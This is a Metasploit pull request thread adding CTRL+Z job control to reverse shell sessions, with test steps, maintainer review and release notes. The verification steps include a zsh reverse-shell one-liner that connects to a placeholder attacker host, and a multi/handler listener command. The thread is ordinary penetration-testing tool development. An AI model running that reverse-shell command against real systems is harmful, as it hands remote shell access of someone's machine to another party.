[GSoC] Implementation of CTRL+Z in reverse shell session

[WangYihang]

Description

Implementation of CTRL+Z to send a SIGINT signal to the reverse shell session

• CTRL+C signal implementation [GSoC] Implementation of CTRL+C to send SIGINT signal to reverse shell session #10448
• Notice that this implementation relies on this pull request [GSoC] Implementation of resource command #10220

Verification of CTRL+Z

Attacker side

• ./msfconsole -qx 'use multi/handler; set payload cmd/unix/reverse_zsh; set LHOST 127.0.0.1; set LPORT 4444; exploit'

Victim side

• zsh -c 'zmodload zsh/net/tcp && ztcp [ATTACKER_IP] [ATTACKER_PORT] && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Attacker side

• [IMPORTANT] type shell, press enter (enter interactive shell mode) (output would be like this:)

[*] Trying to find binary(python) on target machine  
"/usr/bin/python"                                    
[*] Found python at /usr/bin/python                  
[*] Using `python` to pop up an interactive shell    
$

• run some commands which takes too long time so that we need to press CTRL+C to end them

eg: sleep 100

• once the command sleep 100 is running, press CTRL+Z, then you will see:

Background session 1? [y/N]

• Press Y, you will background the whole reverse shell session

$ ^Z
Background session 1? [y/N]  y
msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         basic cmd/unix               127.0.0.1:4444 -> 127.0.0.1:54028 (127.0.0.1)

• Press N, you will see the foreground process on the victim machine is

$ sleep 200
sleep 200
^Z
Background session 1? [y/N]  N
[*] Backgrounding foreground process in the shell session
^Z[1] + Stopped                    sleep 200

Environment

• Ubuntu Desktop 18.04 (Both Attacker and Victim)

[wvu]

I don't think you meant to commit this file?

[h00die]

at least it wasn't shadow...

[WangYihang]

oh, it's my fault....I accidentally submitted the test file, I will completely remove this file from the warehouse later today.

[WangYihang]

@wvu-r7 @asoto-r7 I have already deleted the useless file, thank you guys so much for your code review~

[asoto-r7]

Hey @WangYihang , I apologize for taking so long to land this. Your changes worked great in Linux, but the characters sent didn't work for a Windows environment. Instead, it caused the next command to fail. So I wrapped both the CTRL-Z and CTRL-C commands in a quick check to avoid windows shells.

[asoto-r7]

Release Notes

This adds support to Linux command shell payloads to send CTRL+C and CTRL+Z to the foreground process, allowing for job control of processes that would have otherwise required launching a new payload.

[WangYihang]

That's great! Thank all the tremendous help of all you guys so much~